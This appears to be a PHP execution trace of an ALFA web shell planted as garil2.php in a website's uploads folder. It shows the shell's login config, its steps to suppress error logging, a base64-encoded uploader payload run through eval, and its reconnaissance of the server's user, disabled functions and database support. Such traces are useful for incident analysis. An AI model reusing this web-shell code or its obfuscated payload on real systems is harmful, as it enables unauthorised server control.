1		A						/var/www/html/uploads/garil2.php	181	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#06ff0f', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#00ff00', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#dfff00', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
2	87	0	0.122505	2781440	preg_replace	0		/var/www/html/uploads/garil2.php	507	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/garil2.php'
2	87	1	0.122522	2781536
2	87	R			'/var/www/html/uploads/garil2.php'
2	88	0	0.122537	2781440	trim	0		/var/www/html/uploads/garil2.php	507	1	'/var/www/html/uploads/garil2.php'
2	88	1	0.122549	2781472
2	88	R			'/var/www/html/uploads/garil2.php'
2	89	0	0.122564	2781440	str_replace	0		/var/www/html/uploads/garil2.php	507	3	'\\'	'/'	'/var/www/html/uploads/garil2.php'
2	89	1	0.122579	2781536
2	89	R			'/var/www/html/uploads/garil2.php'
1		A						/var/www/html/uploads/garil2.php	507	GLOBALS['__file_path'] = '/var/www/html/uploads/garil2.php'
1		A						/var/www/html/uploads/garil2.php	508	$config = ['AlfaUser' => 'alfa', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
2	90	0	0.122626	2781816	session_write_close	0		/var/www/html/uploads/garil2.php	510	0
2	90	1	0.122639	2781816
2	90	R			FALSE
2	91	0	0.122652	2781816	ignore_user_abort	0		/var/www/html/uploads/garil2.php	511	1	TRUE
2	91	1	0.122666	2781880
2	91	R			0
2	92	0	0.122679	2781848	set_time_limit	0		/var/www/html/uploads/garil2.php	512	1	0
2	92	1	0.122694	2781912
2	92	R			FALSE
2	93	0	0.122707	2781880	ini_set	0		/var/www/html/uploads/garil2.php	513	2	'memory_limit'	'-1'
2	93	1	0.122727	2781984
2	93	R			'128M'
2	94	0	0.122742	2781880	ini_set	0		/var/www/html/uploads/garil2.php	514	2	'upload_max_filesize'	'9999m'
2	94	1	0.122756	2781952
2	94	R			FALSE
2	95	0	0.122771	2781880	error_reporting	0		/var/www/html/uploads/garil2.php	849	1	32759
2	95	1	0.122784	2781952
2	95	R			0
2	96	0	0.122796	2781912	ini_set	0		/var/www/html/uploads/garil2.php	850	2	'error_log'	NULL
2	96	1	0.122810	2781984
2	96	R			''
2	97	0	0.122822	2781912	ini_set	0		/var/www/html/uploads/garil2.php	851	2	'log_errors'	0
2	97	1	0.122835	2781984
2	97	R			'1'
2	98	0	0.122847	2781912	ini_set	0		/var/www/html/uploads/garil2.php	852	2	'max_execution_time'	0
2	98	1	0.122860	2781952
2	98	R			'0'
2	99	0	0.122873	2781880	ini_set	0		/var/www/html/uploads/garil2.php	853	2	'magic_quotes_runtime'	0
2	99	1	0.122886	2781952
2	99	R			FALSE
2	100	0	0.122898	2781880	set_time_limit	0		/var/www/html/uploads/garil2.php	854	1	0
2	100	1	0.122910	2781944
2	100	R			FALSE
2	101	0	0.122928	2781912	function_exists	0		/var/www/html/uploads/garil2.php	855	1	'set_magic_quotes_runtime'
2	101	1	0.122941	2781952
2	101	R			FALSE
1		A						/var/www/html/uploads/garil2.php	871	$default_action = 'FilesMan2'
1		A						/var/www/html/uploads/garil2.php	872	$default_use_ajax = TRUE
1		A						/var/www/html/uploads/garil2.php	873	$default_charset = 'Windows-1251'
2	102	0	0.122987	2781912	substr	0		/var/www/html/uploads/garil2.php	874	3	'Linux'	0	3
2	102	1	0.123000	2782040
2	102	R			'Lin'
2	103	0	0.123013	2781944	strtolower	0		/var/www/html/uploads/garil2.php	874	1	'Lin'
2	103	1	0.123025	2782008
2	103	R			'lin'
1		A						/var/www/html/uploads/garil2.php	877	GLOBALS['sys'] = 'unix'
2	104	0	0.123051	2781912	alfaGetCwd	1		/var/www/html/uploads/garil2.php	878	0
3	105	0	0.123063	2781912	function_exists	0		/var/www/html/uploads/garil2.php	733	1	'getcwd'
3	105	1	0.123076	2781952
3	105	R			TRUE
3	106	0	0.123088	2781912	getcwd	0		/var/www/html/uploads/garil2.php	734	0
3	106	1	0.123101	2781960
3	106	R			'/var/www/html/uploads'
2	104	1	0.123116	2781960
2	104	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/garil2.php	878	GLOBALS['home_cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/garil2.php	879	GLOBALS['need_to_update_header'] = 'false'
1		A						/var/www/html/uploads/garil2.php	880	GLOBALS['glob_chdir_false'] = FALSE
2	107	0	0.123168	2781960	alfaGetCwd	1		/var/www/html/uploads/garil2.php	886	0
3	108	0	0.123179	2781960	function_exists	0		/var/www/html/uploads/garil2.php	733	1	'getcwd'
3	108	1	0.123192	2782000
3	108	R			TRUE
3	109	0	0.123204	2781960	getcwd	0		/var/www/html/uploads/garil2.php	734	0
3	109	1	0.123216	2782008
3	109	R			'/var/www/html/uploads'
2	107	1	0.123230	2782008
2	107	R			'/var/www/html/uploads'
1		A						/var/www/html/uploads/garil2.php	886	GLOBALS['cwd'] = '/var/www/html/uploads'
1		A						/var/www/html/uploads/garil2.php	894	['cwd'] .= '/'
2	110	0	0.123268	2782008	function_exists	0		/var/www/html/uploads/garil2.php	895	1	'sys_get_temp_dir'
2	110	1	0.123281	2782048
2	110	R			TRUE
2	111	0	0.123294	2782008	function_exists	0		/var/www/html/uploads/garil2.php	896	1	'mb_strlen'
2	111	1	0.123306	2782048
2	111	R			FALSE
2	112	0	0.123319	2782008	function_exists	0		/var/www/html/uploads/garil2.php	901	1	'mb_substr'
2	112	1	0.123332	2782048
2	112	R			FALSE
2	113	0	0.123345	2782008	function_exists	0		/var/www/html/uploads/garil2.php	906	1	'sys_get_temp_dir'
2	113	1	0.123357	2782048
2	113	R			TRUE
2	114	0	0.123370	2782008	sys_get_temp_dir	0		/var/www/html/uploads/garil2.php	906	0
2	114	1	0.123382	2782048
2	114	R			'/tmp'
2	115	0	0.123394	2782048	str_replace	0		/var/www/html/uploads/garil2.php	906	3	'\\'	'/'	'/tmp'
2	115	1	0.123408	2782144
2	115	R			'/tmp'
2	116	0	0.123420	2782048	is_writable	0		/var/www/html/uploads/garil2.php	906	1	'/tmp'
2	116	1	0.123440	2782088
2	116	R			TRUE
2	117	0	0.123453	2782016	sys_get_temp_dir	0		/var/www/html/uploads/garil2.php	906	0
2	117	1	0.123465	2782048
2	117	R			'/tmp'
2	118	0	0.123477	2782048	define	0		/var/www/html/uploads/garil2.php	906	2	'ALFA_TEMPDIR'	'/tmp'
2	118	1	0.123491	2782152
2	118	R			TRUE
2	119	0	0.123507	2782080	function_exists	0		/var/www/html/uploads/garil2.php	2395	1	'posix_getpwuid'
2	119	1	0.123520	2782120
2	119	R			TRUE
2	120	0	0.123532	2782080	function_exists	0		/var/www/html/uploads/garil2.php	2397	1	'posix_getgrgid'
2	120	1	0.123545	2782120
2	120	R			TRUE
2	121	0	0.123557	2782080	function_exists	0		/var/www/html/uploads/garil2.php	2455	1	'scandir'
2	121	1	0.123570	2782120
2	121	R			TRUE
2	122	0	0.123587	2782080	function_exists	0		/var/www/html/uploads/garil2.php	6158	1	'json_encode'
2	122	1	0.123600	2782120
2	122	R			TRUE
2	123	0	0.123612	2782080	function_exists	0		/var/www/html/uploads/garil2.php	6200	1	'json_decode'
2	123	1	0.123625	2782120
2	123	R			TRUE
2	124	0	0.123638	2782120	function_exists	0		/var/www/html/uploads/garil2.php	6516	1	'alfaFilesMan2'
2	124	1	0.123655	2782160
2	124	R			TRUE
1		A						/var/www/html/uploads/garil2.php	6517	_POST['a'] = 'FilesMan2'
2	125	0	0.123680	2782496	function_exists	0		/var/www/html/uploads/garil2.php	6520	1	'alfaFilesMan2'
2	125	1	0.123693	2782536
2	125	R			TRUE
2	126	0	0.123707	2782456	alfaFilesMan2	1		/var/www/html/uploads/garil2.php	6521	0
3	127	0	0.123719	2782456	alfahead	1		/var/www/html/uploads/garil2.php	2556	0
3		A						/var/www/html/uploads/garil2.php	908	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
3		A						/var/www/html/uploads/garil2.php	909	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
4	128	0	0.123788	2784248	__ZW5jb2Rlcg	1		/var/www/html/uploads/garil2.php	910	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5	129	0	0.123816	2784248	vcnvSCZgBz	1		/var/www/html/uploads/garil2.php	115	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
5		A						/var/www/html/uploads/garil2.php	64	$b = 'base64_encode'
6	130	0	0.123852	2784248	base64_encode	0		/var/www/html/uploads/garil2.php	65	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6	130	1	0.123880	2786840
6	130	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
5	129	1	0.123910	2786808
5	129	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	128	1	0.123939	2786808
4	128	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
4	131	0	0.123967	2786808	define	0		/var/www/html/uploads/garil2.php	910	2	'ALFA_UPLOADER'	'eval(base64_decode(\'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDh'
4	131	1	0.123998	2786912
4	131	R			TRUE
3		A						/var/www/html/uploads/garil2.php	962	_POST['charset'] = 'Windows-1251'
4	132	0	0.124025	2786840	function_exists	0		/var/www/html/uploads/garil2.php	963	1	'diskfreespace'
4	132	1	0.124039	2786880
4	132	R			TRUE
4	133	0	0.124051	2786840	diskfreespace	0		/var/www/html/uploads/garil2.php	963	1	'/var/www/html/uploads/'
4	133	1	0.124069	2786872
4	133	R			202662723584
3		A						/var/www/html/uploads/garil2.php	963	$freeSpace = 202662723584
4	134	0	0.124095	2786840	function_exists	0		/var/www/html/uploads/garil2.php	964	1	'disk_total_space'
4	134	1	0.124108	2786880
4	134	R			TRUE
4	135	0	0.124121	2786840	disk_total_space	0		/var/www/html/uploads/garil2.php	964	1	'/var/www/html/uploads/'
4	135	1	0.124135	2786872
4	135	R			232015802368
3		A						/var/www/html/uploads/garil2.php	964	$totalSpace = 232015802368
3		A						/var/www/html/uploads/garil2.php	965	$totalSpace = 232015802368
3		A						/var/www/html/uploads/garil2.php	966	$on = '<span class=\'header_on\'> ON </span>'
3		A						/var/www/html/uploads/garil2.php	967	$of = '<span class=\'header_off\'> OFF </span>'
3		A						/var/www/html/uploads/garil2.php	968	$none = '<span class=\'header_none\'> NONE </span>'
4	136	0	0.124206	2786840	function_exists	0		/var/www/html/uploads/garil2.php	969	1	'ssh2_connect'
4	136	1	0.124219	2786880
4	136	R			FALSE
3		A						/var/www/html/uploads/garil2.php	972	$ssh2 = '<span class=\'header_off\'> OFF </span>'
4	137	0	0.124243	2786840	function_exists	0		/var/www/html/uploads/garil2.php	973	1	'curl_version'
4	137	1	0.124257	2786880
4	137	R			TRUE
3		A						/var/www/html/uploads/garil2.php	974	$curl = '<span class=\'header_on\'> ON </span>'
4	138	0	0.124280	2786840	function_exists	0		/var/www/html/uploads/garil2.php	977	1	'mysql_get_client_info'
4	138	1	0.124293	2786880
4	138	R			FALSE
4	139	0	0.124306	2786840	class_exists	0		/var/www/html/uploads/garil2.php	977	1	'mysqli'
4	139	1	0.124319	2786880
4	139	R			FALSE
3		A						/var/www/html/uploads/garil2.php	980	$mysql = '<span class=\'header_off\'> OFF </span>'
4	140	0	0.124347	2786840	function_exists	0		/var/www/html/uploads/garil2.php	981	1	'mssql_connect'
4	140	1	0.124360	2786880
4	140	R			FALSE
3		A						/var/www/html/uploads/garil2.php	984	$mssql = '<span class=\'header_off\'> OFF </span>'
4	141	0	0.124386	2786840	function_exists	0		/var/www/html/uploads/garil2.php	985	1	'pg_connect'
4	141	1	0.124399	2786880
4	141	R			FALSE
3		A						/var/www/html/uploads/garil2.php	988	$pg = '<span class=\'header_off\'> OFF </span>'
4	142	0	0.124422	2786840	function_exists	0		/var/www/html/uploads/garil2.php	989	1	'oci_connect'
4	142	1	0.124435	2786880
4	142	R			FALSE
3		A						/var/www/html/uploads/garil2.php	992	$or = '<span class=\'header_off\'> OFF </span>'
4	143	0	0.124479	2786840	ini_get	0		/var/www/html/uploads/garil2.php	993	1	'disable_functions'
4	143	1	0.124495	2787320
4	143	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	144	0	0.124521	2786840	ini_get	0		/var/www/html/uploads/garil2.php	994	1	'disable_functions'
4	144	1	0.124533	2787320
4	144	R			'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
3		A						/var/www/html/uploads/garil2.php	994	$disfun = 'pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,'
4	145	0	0.124577	2787288	ini_get	0		/var/www/html/uploads/garil2.php	997	1	'safe_mode'
4	145	1	0.124589	2787320
4	145	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1000	$safe_modes = '<span class=\'header_on\'>OFF</span>'
3		A						/var/www/html/uploads/garil2.php	1001	$cgi_shell = '<span class=\'header_off\' id=\'header_cgishell\'>OFF</span>'
4	146	0	0.124631	2787288	ini_get	0		/var/www/html/uploads/garil2.php	1002	1	'open_basedir'
4	146	1	0.124643	2787320
4	146	R			''
3		A						/var/www/html/uploads/garil2.php	1009	$open_b = '<span class=\'header_none\'> NONE </span>'
4	147	0	0.124668	2787288	ini_get	0		/var/www/html/uploads/garil2.php	1010	1	'safe_mode_exec_dir'
4	147	1	0.124680	2787320
4	147	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1013	$safe_exe = '<span class=\'header_none\'> NONE </span>'
4	148	0	0.124705	2787288	ini_get	0		/var/www/html/uploads/garil2.php	1014	1	'safe_mode_include_dir'
4	148	1	0.124718	2787320
4	148	R			FALSE
3		A						/var/www/html/uploads/garil2.php	1017	$safe_include = '<span class=\'header_none\'> NONE </span>'
4	149	0	0.124742	2787288	function_exists	0		/var/www/html/uploads/garil2.php	1018	1	'posix_getegid'
4	149	1	0.124755	2787328
4	149	R			TRUE
4	150	0	0.124767	2787288	function_exists	0		/var/www/html/uploads/garil2.php	1025	1	'posix_getpwuid'
4	150	1	0.124780	2787328
4	150	R			TRUE
4	151	0	0.124792	2787288	function_exists	0		/var/www/html/uploads/garil2.php	1025	1	'posix_geteuid'
4	151	1	0.124804	2787328
4	151	R			TRUE
4	152	0	0.124816	2787288	posix_geteuid	0		/var/www/html/uploads/garil2.php	1025	0
4	152	1	0.124829	2787288
4	152	R			33
4	153	0	0.124841	2787288	posix_getpwuid	0		/var/www/html/uploads/garil2.php	1025	1	33
4	153	1	0.124873	2788120
4	153	R			['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
3		A						/var/www/html/uploads/garil2.php	1025	$uid = ['name' => 'www-data', 'passwd' => 'x', 'uid' => 33, 'gid' => 33, 'gecos' => 'www-data', 'dir' => '/var/www', 'shell' => '/usr/sbin/nologin']
4	154	0	0.124916	2788088	function_exists	0		/var/www/html/uploads/garil2.php	1026	1	'posix_getgrgid'
4	154	1	0.124929	2788128
4	154	R			TRUE
4	155	0	0.124941	2788088	function_exists	0		/var/www/html/uploads/garil2.php	1026	1	'posix_getegid'
4	155	1	0.124953	2788128
4	155	R			TRUE
4	156	0	0.124966	2788088	posix_getegid	0		/var/www/html/uploads/garil2.php	1026	0
4	156	1	0.124977	2788088
4	156	R			33
4	157	0	0.124990	2788088	posix_getgrgid	0		/var/www/html/uploads/garil2.php	1026	1	33
4	157	1	0.125015	2788752
4	157	R			['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/garil2.php	1026	$gid = ['name' => 'www-data', 'passwd' => 'x', 'members' => [], 'gid' => 33]
3		A						/var/www/html/uploads/garil2.php	1027	$user = 'www-data'
3		A						/var/www/html/uploads/garil2.php	1028	$uid = 33
3		A						/var/www/html/uploads/garil2.php	1029	$group = 'www-data'
